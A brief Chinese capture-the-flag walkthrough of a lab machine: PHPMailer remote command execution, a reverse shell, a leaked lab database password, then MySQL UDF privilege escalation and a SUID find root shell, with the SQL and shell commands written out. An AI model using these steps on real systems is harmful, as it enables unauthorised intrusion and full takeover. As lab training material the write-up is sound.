先nmap扫一下存活端口
可以发现有22,80,111这几个端口
首先从web下手,dirb扫一下目录可以知道是个wp站点
并且发现/vendor目录存在目录遍历
在/vendor/PATH目录下发现flag1以及其绝对路径
在/vendor/VERSION目录下得知PHPMailer版本号5.2.16
在kali中搜索phpmailer可以发现有个PHPMailer<5.2.18-远程命令执行
修改一下直接打
然后访问shell.php,并设置端口监听
成功反弹shell后找到wp的配置文件,发现数据库的账号密码:root/R@v3nSecurity
并且可以看到mysql服务启动了
nc模式下的shell不支持su交互,我们先生成一个交互式shell
代码语言:javascript复制python -c 'import pty;pty.spawn("/bin/bash")'
通过find命令找到flag3图片的路径
成功登入mysql后,可以看到是mysql5.5.60
接着我们尝试使用udf提权,搜一下可以看到一个可利用的
然后我们将1518.c本地编译一下再上传
开启web服务
然后wget传进去1518.so
上传成功后,在靶机上链接mysql数据库并操作
代码语言:javascript复制create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select * from mysql.func;
select do_system('chmod u s /usr/bin/find');
最后提权后得到flag4
代码语言:javascript复制touch foo
find foo -exec "whoami" ;
find foo -exec "id" ;
find foo -exec "/bin/sh" ;
前面没找到的flag2在www-data的home目录中